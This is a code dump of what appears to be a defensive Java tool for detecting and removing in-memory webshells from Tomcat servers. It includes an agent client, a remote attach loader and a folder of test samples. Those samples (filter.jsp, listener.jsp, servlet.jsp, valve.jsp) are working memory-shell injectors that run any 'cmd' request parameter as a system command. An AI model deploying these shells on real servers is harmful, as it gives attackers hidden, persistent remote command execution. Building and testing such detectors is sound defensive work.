killServlet(String kill) throws Exception { 56 | Socket client = new Socket(host, port); 57 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 58 | ObjectOutputStream oos = new ObjectOutputStream(bao); 59 | oos.writeObject("" + pass + "|" + kill); 60 | client.getOutputStream().write(bao.toByteArray()); 61 | } 62 | 63 | public static void killListener(String kill) throws Exception { 64 | Socket client = new Socket(host, port); 65 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 66 | ObjectOutputStream oos = new ObjectOutputStream(bao); 67 | oos.writeObject("" + pass + "|" + kill); 68 | client.getOutputStream().write(bao.toByteArray()); 69 | } 70 | 71 | public static void killValve(String kill) throws Exception { 72 | Socket client = new Socket(host, port); 73 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 74 | ObjectOutputStream oos = new ObjectOutputStream(bao); 75 | oos.writeObject("" + pass + "|" + kill); 76 | client.getOutputStream().write(bao.toByteArray()); 77 | } 78 | 79 | public static List getAllClasses() throws Exception { 80 | Socket client = new Socket(host, port); 81 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 82 | ObjectOutputStream oos = new ObjectOutputStream(bao); 83 | oos.writeObject("" + pass); 84 | client.getOutputStream().write(bao.toByteArray()); 85 | 86 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 87 | ArrayList arrayList = (ArrayList) ois.readObject(); 88 | return arrayList; 89 | } 90 | 91 | public static List getAllServlets() throws Exception { 92 | Socket client = new Socket(host, port); 93 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 94 | ObjectOutputStream oos = new ObjectOutputStream(bao); 95 | oos.writeObject("" + pass); 96 | client.getOutputStream().write(bao.toByteArray()); 97 | 98 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 99 | ArrayList arrayList = (ArrayList) ois.readObject(); 100 | return arrayList; 101 | } 102 | 103 | public static List getAllFilters() throws Exception { 104 | Socket client = new Socket(host, port); 105 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 106 | ObjectOutputStream oos = new ObjectOutputStream(bao); 107 | oos.writeObject("" + pass); 108 | client.getOutputStream().write(bao.toByteArray()); 109 | 110 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 111 | ArrayList arrayList = (ArrayList) ois.readObject(); 112 | return arrayList; 113 | } 114 | 115 | public static List getAllListeners() throws Exception { 116 | Socket client = new Socket(host, port); 117 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 118 | ObjectOutputStream oos = new ObjectOutputStream(bao); 119 | oos.writeObject("" + pass); 120 | client.getOutputStream().write(bao.toByteArray()); 121 | 122 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 123 | ArrayList arrayList = (ArrayList) ois.readObject(); 124 | return arrayList; 125 | } 126 | 127 | public static List getAllValves() throws Exception { 128 | Socket client = new Socket(host, port); 129 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 130 | ObjectOutputStream oos = new ObjectOutputStream(bao); 131 | oos.writeObject("" + pass); 132 | client.getOutputStream().write(bao.toByteArray()); 133 | 134 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 135 | ArrayList arrayList = (ArrayList) ois.readObject(); 136 | return arrayList; 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /img/0000.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0000.jpg -------------------------------------------------------------------------------- /img/0002.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0002.jpg -------------------------------------------------------------------------------- /img/0003.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0003.jpg -------------------------------------------------------------------------------- /img/0004.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0004.jpg -------------------------------------------------------------------------------- /img/0005.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0005.png -------------------------------------------------------------------------------- /img/0006.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0006.png -------------------------------------------------------------------------------- /img/0007.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0007.png -------------------------------------------------------------------------------- /memshell/README.md: -------------------------------------------------------------------------------- 1 | ## 测试用内存马 2 | 3 | 这里的 JSP 文件来自其他师傅的 Github 或文章,这里用于测试 4 | 5 | 注意: 6 | - servlet.jsp 需要执行两次才可以成功注入 7 | - 测试环境为 Java 8 / Tomcat 9 -------------------------------------------------------------------------------- /memshell/filter.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=UTF-8" 2 | pageEncoding="UTF-8"%> 3 | <%@ page import="java.io.IOException"%> 4 | <%@ page import="javax.servlet.DispatcherType"%> 5 | <%@ page import="javax.servlet.Filter"%> 6 | <%@ page import="javax.servlet.FilterChain"%> 7 | <%@ page import="javax.servlet.FilterConfig"%> 8 | <%@ page import="javax.servlet.FilterRegistration"%> 9 | <%@ page import="javax.servlet.ServletContext"%> 10 | <%@ page import="javax.servlet.ServletException"%> 11 | <%@ page import="javax.servlet.ServletRequest"%> 12 | <%@ page import="javax.servlet.ServletResponse"%> 13 | <%@ page import="javax.servlet.annotation.WebServlet"%> 14 | <%@ page import="javax.servlet.http.HttpServlet"%> 15 | <%@ page import="javax.servlet.http.HttpServletRequest"%> 16 | <%@ page import="javax.servlet.http.HttpServletResponse"%> 17 | <%@ page import="org.apache.catalina.core.ApplicationContext"%> 18 | <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 19 | <%@ page import="org.apache.catalina.core.StandardContext"%> 20 | <%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 21 | <%@ page import="org.apache.catalina.Context"%> 22 | <%@ page import="java.lang.reflect.*"%> 23 | <%@ page import="java.util.EnumSet"%> 24 | <%@ page import="java.util.Map"%> 25 | 26 | 27 | 28 | 29 | 30 | 31 | Insert title here 32 | 33 | 34 | <% 35 | final String name = "n1ntyfilter"; 36 | 37 | ServletContext ctx = request.getSession().getServletContext(); 38 | Field f = ctx.getClass().getDeclaredField("context"); 39 | f.setAccessible(true); 40 | ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 41 | 42 | f = appCtx.getClass().getDeclaredField("context"); 43 | f.setAccessible(true); 44 | StandardContext standardCtx = (StandardContext)f.get(appCtx); 45 | 46 | 47 | f = standardCtx.getClass().getDeclaredField("filterConfigs"); 48 | f.setAccessible(true); 49 | Map filterConfigs = (Map)f.get(standardCtx); 50 | 51 | if (filterConfigs.get(name) == null) { 52 | out.println("inject "+ name); 53 | 54 | Filter filter = new Filter() { 55 | @Override 56 | public void init(FilterConfig arg0) throws ServletException { 57 | // TODO Auto-generated method stub 58 | } 59 | 60 | @Override 61 | public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 62 | throws IOException, ServletException { 63 | // TODO Auto-generated method stub 64 | HttpServletRequest req = (HttpServletRequest)arg0; 65 | if (req.getParameter("cmd") != null) { 66 | byte[] data = new byte[1024]; 67 | Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 68 | int len = p.getInputStream().read(data); 69 | p.destroy(); 70 | arg1.getWriter().write(new String(data, 0, len)); 71 | return; 72 | } 73 | arg2.doFilter(arg0, arg1); 74 | } 75 | 76 | @Override 77 | public void destroy() { 78 | // TODO Auto-generated method stub 79 | } 80 | }; 81 | 82 | FilterDef filterDef = new FilterDef(); 83 | filterDef.setFilterName(name); 84 | filterDef.setFilterClass(filter.getClass().getName()); 85 | filterDef.setFilter(filter); 86 | 87 | standardCtx.addFilterDef(filterDef); 88 | 89 | FilterMap m = new FilterMap(); 90 | m.setFilterName(filterDef.getFilterName()); 91 | m.setDispatcher(DispatcherType.REQUEST.name()); 92 | m.addURLPattern("/*"); 93 | 94 | 95 | standardCtx.addFilterMapBefore(m); 96 | 97 | 98 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 99 | constructor.setAccessible(true); 100 | FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 101 | 102 | 103 | filterConfigs.put(name, filterConfig); 104 | 105 | out.println("injected"); 106 | } 107 | %> 108 | 109 | -------------------------------------------------------------------------------- /memshell/listener.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="org.apache.catalina.core.ApplicationContext" %> 2 | <%@ page import="org.apache.catalina.core.StandardContext" %> 3 | <% 4 | Object obj = request.getServletContext(); 5 | java.lang.reflect.Field field = obj.getClass().getDeclaredField("context"); 6 | field.setAccessible(true); 7 | ApplicationContext applicationContext = (ApplicationContext) field.get(obj); 8 | //获取ApplicationContext 9 | field = applicationContext.getClass().getDeclaredField("context"); 10 | field.setAccessible(true); 11 | StandardContext standardContext = (StandardContext) field.get(applicationContext); 12 | //获取StandardContext 13 | ListenerDemo listenerdemo = new ListenerDemo(); 14 | //创建能够执行命令的Listener 15 | standardContext.addApplicationEventListener(listenerdemo); 16 | %> 17 | <%! 18 | public class ListenerDemo implements ServletRequestListener { 19 | public void requestDestroyed(ServletRequestEvent sre) { 20 | System.out.println("requestDestroyed"); 21 | } 22 | public void requestInitialized(ServletRequestEvent sre) { 23 | System.out.println("requestInitialized"); 24 | try{ 25 | String cmd = sre.getServletRequest().getParameter("cmd"); 26 | Runtime.getRuntime().exec(cmd); 27 | }catch (Exception e ){ 28 | //e.printStackTrace(); 29 | } 30 | } 31 | } 32 | %> -------------------------------------------------------------------------------- /memshell/servlet.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="javax.management.MBeanServer" %> 3 | <%@ page import="org.apache.tomcat.util.modeler.Registry" %> 4 | <%@ page import="java.lang.reflect.Field" %> 5 | <%@ page import="com.sun.jmx.mbeanserver.NamedObject" %> 6 | <%@ page import="java.util.Map" %> 7 | <%@ page import="java.util.HashMap" %> 8 | <%@ page import="org.apache.catalina.core.StandardContext" %> 9 | <%@ page import="java.lang.reflect.Method" %> 10 | <%@ page import="java.io.IOException" %> 11 | <%@ page import="org.apache.catalina.core.ApplicationContext" %> 12 | <%@ page import="java.lang.reflect.InvocationTargetException" %> 13 | <%@ page import="org.apache.catalina.core.StandardService" %> 14 | <%@ page import="org.apache.catalina.mapper.Mapper" %> 15 | <%@ page import="java.util.concurrent.ConcurrentHashMap" %> 16 | <%@ page import="org.apache.catalina.Wrapper" %> 17 | <%@ page import="org.apache.catalina.core.StandardWrapper" %> 18 | <%@ page import="org.apache.catalina.core.ContainerBase" %> 19 | 20 | 21 | 22 | 23 | 24 | servletContext 25 | 26 | 27 | <% 28 | class TomcatServlet extends HttpServlet { 29 | /** 30 | * webshell命令参数名 31 | */ 32 | 33 | 34 | private final String cmdParamName = "cmd"; 35 | @Override 36 | public void init() throws ServletException { 37 | } 38 | 39 | @Override 40 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 41 | String cmd; 42 | if ((cmd = req.getParameter(cmdParamName)) != null) { 43 | Process process = Runtime.getRuntime().exec(cmd); 44 | java.io.BufferedReader bufferedReader = new java.io.BufferedReader( 45 | new java.io.InputStreamReader(process.getInputStream())); 46 | StringBuilder stringBuilder = new StringBuilder(); 47 | String line; 48 | while ((line = bufferedReader.readLine()) != null) { 49 | stringBuilder.append(line + '\n'); 50 | } 51 | resp.getOutputStream().write(stringBuilder.toString().getBytes()); 52 | resp.getOutputStream().flush(); 53 | resp.getOutputStream().close(); 54 | return; 55 | } 56 | } 57 | 58 | @Override 59 | public void destroy() { 60 | super.destroy(); 61 | } 62 | 63 | } 64 | %> 65 | 66 | 67 | <% 68 | class test666 { 69 | 70 | } 71 | %> 72 | <% 73 | try{ 74 | //获取各字段 75 | java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); 76 | Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); 77 | java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); 78 | java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse"); 79 | 80 | //去掉final修饰符 81 | java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers"); 82 | modifiers.setAccessible(true); 83 | modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 84 | modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 85 | modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 86 | 87 | //设置允许访问 88 | WRAP_SAME_OBJECT.setAccessible(true); 89 | lastServicedRequest.setAccessible(true); 90 | lastServicedResponse.setAccessible(true); 91 | 92 | //如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果 93 | if(!WRAP_SAME_OBJECT.getBoolean(null)){ 94 | WRAP_SAME_OBJECT.setBoolean(null,true); 95 | lastServicedRequest.set(null,new ThreadLocal()); 96 | lastServicedResponse.set(null,new ThreadLocal()); 97 | out.println("WRAP_SAME_OBJECT change success!please try again for Inject Servlet"); 98 | }else{ 99 | ThreadLocal threadLocalRequest = (ThreadLocal) lastServicedRequest.get(null); 100 | javax.servlet.ServletRequest request1 = threadLocalRequest.get(); 101 | try { 102 | //获取servletContext 103 | javax.servlet.ServletContext servletContext=request1.getServletContext(); 104 | 105 | //获取applicationContext 106 | java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context"); 107 | contextField.setAccessible(true); 108 | org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); 109 | //获取standardContext 110 | contextField=applicationContext.getClass().getDeclaredField("context"); 111 | contextField.setAccessible(true); 112 | org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); 113 | 114 | Field serviceF = applicationContext.getClass().getDeclaredField("service"); 115 | serviceF.setAccessible(true); 116 | StandardService service = (StandardService) serviceF.get(applicationContext); 117 | Mapper mapper = service.getMapper(); 118 | Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); 119 | contextObjectToContextVersionMapF.setAccessible(true); 120 | ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper); 121 | Object contextVersion = contextObjectToContextVersionMap.get(standardContext); 122 | java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); 123 | stateField.setAccessible(true); 124 | Wrapper wrapper = (Wrapper) standardContext.findChild("test"); 125 | if(wrapper ==null) { 126 | TomcatServlet tomcatServlet=new TomcatServlet(); 127 | StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper(); 128 | Field instanceF = wrappershell.getClass().getDeclaredField("instance"); 129 | instanceF.setAccessible(true); 130 | instanceF.set(wrappershell,tomcatServlet); 131 | wrappershell.setServletClass("TomcatServlet"); 132 | Field parent = ContainerBase.class.getDeclaredField("parent"); 133 | parent.setAccessible(true); 134 | parent.set(wrappershell, standardContext); 135 | wrappershell.addMapping("/shell"); 136 | Class[] classes = mapper.getClass().getDeclaredClasses(); 137 | Class contextversionClass = classes[1]; 138 | Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class); 139 | addWrapper.setAccessible(true); 140 | addWrapper.invoke(mapper, contextVersion, "/shell", wrappershell, false, false); 141 | } 142 | }catch (Exception e){ 143 | e.printStackTrace(); 144 | } 145 | } 146 | 147 | }catch (Exception e){ 148 | e.printStackTrace(); 149 | } 150 | %> 151 | 152 | -------------------------------------------------------------------------------- /memshell/valve.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.lang.reflect.Field" %> 2 | <%@ page import="org.apache.catalina.core.StandardContext" %> 3 | <%@ page import="org.apache.catalina.connector.Request" %> 4 | <%@ page import="org.apache.catalina.Pipeline" %> 5 | <%@ page import="org.apache.catalina.valves.ValveBase" %> 6 | <%@ page import="org.apache.catalina.connector.Response" %> 7 | <%@ page import="java.io.IOException" %> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | 10 | <% 11 | Field reqF = request.getClass().getDeclaredField("request"); 12 | reqF.setAccessible(true); 13 | Request req = (Request) reqF.get(request); 14 | StandardContext standardContext = (StandardContext) req.getContext(); 15 | 16 | Pipeline pipeline = standardContext.getPipeline(); 17 | %> 18 | 19 | <%! 20 | class Shell_Valve extends ValveBase { 21 | 22 | @Override 23 | public void invoke(Request request, Response response) throws IOException, ServletException { 24 | String cmd = request.getParameter("cmd"); 25 | if (cmd !=null){ 26 | try{ 27 | Runtime.getRuntime().exec(cmd); 28 | }catch (IOException e){ 29 | e.printStackTrace(); 30 | }catch (NullPointerException n){ 31 | n.printStackTrace(); 32 | } 33 | } 34 | getNext().invoke(request, response); 35 | } 36 | } 37 | %> 38 | 39 | <% 40 | Shell_Valve shell_valve = new Shell_Valve(); 41 | pipeline.addValve(shell_valve); 42 | %> -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.n1ar4 8 | shell-analyzer 9 | pom 10 | 0.1 11 | 12 | 13 | agent 14 | gui 15 | remote 16 | 17 | 18 | 19 | 8 20 | 8 21 | UTF-8 22 | 23 | -------------------------------------------------------------------------------- /remote/README.md: -------------------------------------------------------------------------------- 1 | ## 远程连接 2 | 3 | (1) 查询 PID 4 | 5 | ./jdk1.8.0_202/bin/jps 6 | 7 | (2) 远程Attach Agent 8 | 9 | ./jdk1.8.0_202/bin/java -cp ./jdk1.8.0_202/lib/tools.jar:remote-1.0-SNAPSHOT.jar com.n1ar4.RemoteLoader ${PID} 10 | 11 | (3) 使用本工具连接 -------------------------------------------------------------------------------- /remote/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | shell-analyzer 7 | com.n1ar4 8 | 0.1 9 | 10 | 4.0.0 11 | 12 | remote 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | tool 23 | tool 24 | 1.0.0 25 | system 26 | ${java.home}/../lib/tools.jar 27 | 28 | 29 | 30 | 31 | 32 | 33 | maven-assembly-plugin 34 | 35 | ../ 36 | false 37 | 38 | jar-with-dependencies 39 | 40 | 41 | 42 | com.n1ar4.RemoteLoader 43 | 44 | 45 | 46 | 47 | 48 | make-assembly 49 | package 50 | 51 | single 52 | 53 | 54 | 55 | 56 | 57 | org.apache.maven.plugins 58 | maven-compiler-plugin 59 | 3.10.1 60 | 61 | ${maven.compiler.source} 62 | ${maven.compiler.target} 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /remote/src/main/java/com/n1ar4/RemoteLoader.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4; 2 | 3 | import com.sun.tools.attach.VirtualMachine; 4 | 5 | import javax.tools.JavaCompiler; 6 | import javax.tools.ToolProvider; 7 | import java.nio.file.Path; 8 | import java.nio.file.Paths; 9 | 10 | public class RemoteLoader { 11 | public static void main(String[] args) { 12 | checkJDK(); 13 | if (args.length != 2) { 14 | System.out.println("usage: " + 15 | "\tjava -cp remote.jar:/jdk/lib/tools.jar com.n1ar4.RemoteLoader [PID] [TOKEN]"); 16 | return; 17 | } 18 | String pid = args[0]; 19 | String password =args[1]; 20 | System.out.println("attach pid: "+pid); 21 | System.out.println("password: " + password); 22 | try { 23 | VirtualMachine vm = VirtualMachine.attach(pid); 24 | Path agentPath = Paths.get("agent.jar"); 25 | String path = agentPath.toAbsolutePath().toString(); 26 | vm.loadAgent(path,password); 27 | vm.detach(); 28 | System.out.println("success"); 29 | } catch (Exception ex) { 30 | ex.printStackTrace(); 31 | } 32 | } 33 | 34 | public static void checkJDK() { 35 | JavaCompiler c = ToolProvider.getSystemJavaCompiler(); 36 | if (c == null) { 37 | System.out.println("请使用JDK启动(目前是JRE)"); 38 | System.exit(0); 39 | } 40 | } 41 | } 42 | --------------------------------------------------------------------------------